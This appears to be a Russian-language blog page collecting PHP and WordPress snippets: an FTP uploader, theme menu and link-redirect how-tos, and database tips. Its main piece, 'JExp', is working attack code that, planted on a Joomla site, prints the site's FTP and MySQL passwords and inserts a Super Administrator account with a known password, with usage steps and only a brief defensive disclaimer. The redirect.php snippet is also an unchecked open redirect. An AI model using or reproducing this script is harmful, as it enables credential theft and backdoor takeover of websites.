<?php
$host = "hostname";
$connect = ftp_connect($host);
if (!$connect)
{
echo "connect fail<br/>";
}
else
{
echo "connect ok<br/>";
}
$user = "username";
$password = "some_pass";
$result = ftp_login($connect, $user, $password);
$dir = ftp_pwd($connect);
echo $dir."<br/>";
$od = opendir('md');
while ($local_file = readdir($od))
{
if ($local_file != "." && $local_file != "..")
{
echo $local_file."<br/>";
$upl_file = "md/".$local_file;
$remote_file = "remote_".$local_file;
if (ftp_put($connect, $remote_file, $upl_file, FTP_BINARY))
{
echo "upload ok<br/>";
}
else
{
echo "upload fail<br/>";
}
}
}
$cl = closedir($od);
ftp_quit($connect);
?>
По функциональности ничем не отличается от JExp 0.1, но реализовано более правильно.
<?php
function GetParam($arg) {
global $exp;
$show = $exp->$arg;
return $show;
}
function PrintParam($arg) {
print("<b>".$arg.": </b>".GetParam($arg)."<br/>");
}
if ($_SERVER["QUERY_STRING"] == $_SERVER["HTTP_HOST"]) {
include "configuration.php";
$exp = new JConfig();
echo "<h3>ftp configuration</h3>";
PrintParam('ftp_host');
PrintParam('ftp_user');
PrintParam('ftp_pass');
echo "<h3>mysql configuration</h3>";
PrintParam('host');
PrintParam('user');
PrintParam('db');
PrintParam('password');
PrintParam('dbprefix');
echo "<form action='' method='post'><input type='submit' value='add superadmin' name='au' /></form>";
if ($_POST['au'] != null) {
$here_we_go = mysql_connect(GetParam("host"), GetParam("user"), GetParam("password"));
$select_db_query = mysql_select_db(GetParam("db"), $here_we_go);
$new_username = "username02";
$new_fullname = "UserName";
$new_pass_hash = "0c351ddbe5c2e39bae0238901468c0b5:B0peDjABSuno3ZBsBVJjVn6V7Y8VETCF";
$jos_users_query = mysql_query("
INSERT INTO jos_users
(name, username, email, password, usertype, block, sendEmail, gid, registerDate)
VALUES
('".$new_fullname."', '".$new_username."', '".$new_username."@example.com', '".$new_pass_hash."', 'Super Administrator', '0', '1', '25', NOW())
", $here_we_go);
$jos_core_acl_aro_query = mysql_query("
INSERT INTO jos_core_acl_aro
(section_value, value, order_value, name, hidden)
VALUES
('users', LAST_INSERT_ID(), '0', '".$new_fullname."', '0')
", $here_we_go);
$jos_core_acl_groups_aro_map_query = mysql_query("
INSERT INTO jos_core_acl_groups_aro_map
(group_id, aro_id)
VALUES
('25', LAST_INSERT_ID())
", $here_we_go);
echo "added superadmin - ".$new_username.":qwerty";
}
}
else {
echo "unauthorized access!";
}
?>
Актуальная версия скрипта: JExp 0.2
Информация исключительно для того, чтобы понимать необходимость защиты сайта от доступа к файловой системе. Скрипт, используя конфигурационный файл joomla, выводит на экран интересующие нас параметры доступа к сайту, а также позволяет удаленно добавить пользователя в группу Super Administrator.
<?php
if ($_SERVER["QUERY_STRING"] == $_SERVER["HTTP_HOST"]) {
include "configuration.php";
$exp = new JConfig();
function PrintParam($arg) {
global $exp;
$arg_ans = $exp->$arg;
print("<b>".$arg.": </b>".$arg_ans."<br/>");
}
echo "<h3>ftp confuguration</h3>";
PrintParam('ftp_host');
PrintParam('ftp_user');
PrintParam('ftp_pass');
echo "<h3>mysql configuration</h3>";
PrintParam('host');
PrintParam('user');
PrintParam('db');
PrintParam('password');
PrintParam('dbprefix');
echo "<form action='' method='post'><input type='submit' value='add superadmin' name='au' /></form>";
if ($_POST['au'] != null) {
$connect = mysql_connect($exp->host, $exp->user, $exp->password);
$db_select = mysql_select_db($exp->db, $connect);
$new_username = "username02";
$new_fullname = "UserName";
$new_pass_hash = "0c351ddbe5c2e39bae0238901468c0b5:B0peDjABSuno3ZBsBVJjVn6V7Y8VETCF";
$add_query = "INSERT INTO jos_users
(name, username, email, password, usertype, block, sendEmail, gid, registerDate)
VALUES
('".$new_fullname."', '".$new_username."', '".$new_username."@example.com', '".$new_pass_hash."', 'Super Administrator', '0', '1', '25', NOW())";
$add_action = mysql_query($add_query, $connect);
$jos_core_acl_aro_SQ = "SELECT id FROM jos_users WHERE username='".$new_username."'";
$jos_core_acl_aro_SA = mysql_query($jos_core_acl_aro_SQ, $connect);
$jos_core_acl_aro_SR = mysql_fetch_array($jos_core_acl_aro_SA, $connect);
$jos_core_acl_aro_ID = $jos_core_acl_aro_SR[0];
$jos_core_acl_aro_IQ = "INSERT INTO jos_core_acl_aro (section_value, value, order_value, name, hidden) VALUES
('users', '".$jos_core_acl_aro_ID."', '0', '".$new_fullname."', '0')";
$jos_core_acl_aro_IA = mysql_query($jos_core_acl_aro_IQ, $connect);
$jos_core_acl_groups_aro_map_SQ = "SELECT id FROM jos_core_acl_aro WHERE name='".$new_fullname."'";
$jos_core_acl_groups_aro_map_SA = mysql_query($jos_core_acl_groups_aro_map_SQ, $connect);
$jos_core_acl_groups_aro_map_SR = mysql_fetch_array($jos_core_acl_groups_aro_map_SA, $connect);
$jos_core_acl_groups_aro_map_ID = $jos_core_acl_groups_aro_map_SR[0];
$jos_core_acl_groups_aro_map_IQ = "INSERT INTO jos_core_acl_groups_aro_map (group_id, aro_id) VALUES
('25', '".$jos_core_acl_groups_aro_map_ID."')";
$jos_core_acl_groups_aro_map_IA = mysql_query($jos_core_acl_groups_aro_map_IQ, $connect);
echo "added superadmin - ".$new_username.":qwerty";
}
}
else {
echo "unauthorized access!";
}
?>
Использование:
include "configuration.php";
— путь к файлу в зависимости от того, где в файловой системе находится скрипт.
Параметры нового пользователя, а именно логин, полное имя, e-mail и т.д. указываются в тексте скрипта. Там, кажется, все понятно.
Пароль указан в том формате, в котором его хранит Joomla. В примере указан хэш пароля qwerty
, изменить его можно уже из админки. Ну или же создать где-нибудь у себя пользователя и скопировать хэш из phpMyAdmin.
В браузере GETом передаем скрипту имя сервера, ну что-то вроде защиты от случайного использования, наверное можно придумать что-то интереснее.
1. Скачиваем файлы lavalamp.js и lava.gif.
2. В папке с темой: lavalamp.js
копируем в папку js
. lava.gif
копируем в папку img
.
3. В header.php
после того как подключили jquery:
<script type="text/javascript" src="<?php bloginfo('template_url'); ?>/js/lavalamp.js"></script> <script type="text/javascript"> jQuery(document).ready( function(){ jQuery(function() { jQuery("#menus").lavaLamp({fx:"backout", speed:700}) }); } ) </script>
4. В templates/header.php
удаляем:
<li><a class="lastmenu" href="javascript:void(0);"></a></li>
5. В js/menu.js
изменяем:
activate: function() { if(this.sub == 1) { var pos = currentOffset(this.title); var top = pos[1] - 1; var left = getWidth(this.body) - 2; if (this.align == 'right') { var left = getWidth(this.body) * (-1); } } else { var pos = cumulativeOffset(this.title); var top = pos[1] + getHeight(this.title); var left = pos[0]; if (this.align == 'right') { left += getWidth(this.title) - getWidth(this.body); } } if(!/current/.test(this.title.className)) { this.title.className += ' current'; } setStyle(this.body, 'left', left + 'px'); setStyle(this.body, 'top', top + 'px'); setStyle(this.body, 'visibility', 'visible'); }
на:
activate: function() { this.title.className += ' current'; var pos = cumulativeOffset(this.title); var left = pos[0]; if (this.align == 'right') { var offset = getWidth(this.title) - getWidth(this.body) + this.offset; left += offset; } var top = pos[1] + getHeight(this.title); if(this.offset == -1) { var pos2 = cumulativeOffset(document.getElementById('navigation')); left -= pos2[0]; top -= pos2[1]; } setStyle(this.body, 'left', left + 'px'); setStyle(this.body, 'top', top + 'px'); setStyle(this.body, 'visibility', 'visible'); setStyle(this.body, 'opacity', this.opacity); setStyle(this.body, 'MozOpacity', this.opacity); setStyle(this.body, 'KhtmlOpacity', this.opacity); setStyle(this.body, 'filter', 'alpha(opacity=' + this.opacity * 100 + ')'); if(this.tid) { clearTimeout(this.tid); } this.tid = setInterval(bind(this, this.appear), 20); }
5. В style.css
удаляем все стили, содержащие #menus
и добавляем:
#menus { position:relative; padding-left:10px; float:left; } #menus li { float:left; display:inline; list-style:none; } #menus li a { position:relative; color:#382E1F; height:30px; line-height:30px; padding:0 20px; text-decoration:none; font-size:11px; float:left; z-index:10; text-align:center; } #menus li.current_page_item a { font-weight:bolder; } #menus li.back { background:url(img/lava.gif) no-repeat right bottom; height:30px; position:absolute; z-index:8; } #menus li.back .left { background:url(img/lava.gif) no-repeat left top; height:30px; margin-right:9px; float:none; } #menus li ul { display:none; background:#F4F5F7; border:1px solid #CCC; border-top-color:#A6A6A6; padding:0 5px; } #menus li li { float:none; margin:0 !important; margin:0; padding:0; display:block; list-style:none; } #menus li li a { float:none; display:block; padding:7px 5px; text-decoration:none; width:200px; border-style:solid; border-color:#DDD; border-width:1px 0 0; margin:0; background-image:none; height:auto; line-height:145%; color:#999; text-align:left; } #menus li li.first a { border-top:none; } #menus li li a:hover { color:#382E1F; }
Для других тем как-то по аналогии.
1.В используемой теме редактируем файл functions.php
. Дописываем:
<?php function preg_callback2($matches) { $url = explode(':', $matches[2]); if (($url[0] == 'http') || ($url[0] == 'https')) { $need = "http://krylov.org.ua"; $replace = "http://krylov.org.ua/redirect.php?"; if (substr($matches[2], 0, strlen($need)) != $need) { $matches[2] = $replace.$matches[2]; } } return $matches[1].$matches[2].$matches[3]; } function removeLinks($content) { if (! is_feed()) { $content = preg_replace_callback('@(]*href=")([^>\"]*)("[^>]*>)@i', "preg_callback2", $content); $content = preg_replace_callback('@(]*href=\')([^>\"]*)(\'[^>]*>)@i', "preg_callback2", $content); } return $content; } add_filter('the_content', 'removeLinks'); add_filter('comment_text', 'removeLinks'); add_filter('get_comment_author_link', 'removeLinks'); add_filter('get_comment_author_url_link', 'removeLinks'); add_filter('comment_url', 'removeLinks'); add_filter('wp_list_bookmarks', 'removeLinks'); ?>
wp_list_bookmarks
— функиция, используемая для отображения ссылок из blogroll, если вы используете другую функцию замените на другое значение.
2. Содержание файла redirect.php
, который помещаем в корень сайта:
<?php $uri = ""; if (array_key_exists("QUERY_STRING", $_SERVER)) { $uri = $_SERVER["QUERY_STRING"]; } header("Location: ".$uri); ?>
3. Запрещаем индексирование обрабатываемых ссылок поисковиками. В robots.txt
в корне сайта пишем:
User-Agent: * Disallow: /redirect.php
4. Чтобы в браузере ссылки выглядели как обычно после открытия <body>
подключаем jquery и следующий js-скрипт:
$(document).ready(function(){ $("a").each(function(i){ var remove_str = 'http://krylov.org.ua/redirect.php?'; var str = this.href.substring(0, remove_str.length); if (str == remove_str) { this.href = this.href.substring(remove_str.length); } }); });
По умолчанию в WordPress после каждого изменения записи, в таблице wp_posts
остается предидущая версия со значением поля post_type
— revision
, чтобы автор имел возможность в любой момент откатитья до любой версии записи. Если такая функция не нужна, для отключения в wp-config.php
дописываем:
define('WP_POST_REVISIONS', false);
или
define('WP_POST_REVISIONS', 2);
где 2 — количество ревизий.
После отключения, созданные ранее ревизии прийдется удалить вручную, для этого выполнить SQL-запрос:
DELETE FROM wp_posts WHERE post_type='revision'
По умолчанию, после установки WordPress логин администратора — admin
. Из админ-панели логин изменить нельзя. Через phpMyAdmin в таблице wp_users
изменяем запись с id 1.
или SQL-запрос:
UPDATE `имя_бд`.`wp_users` SET `user_login` = 'новый_логин', `user_nicename` = 'новый_логин' WHERE `wp_users`.`ID` =1;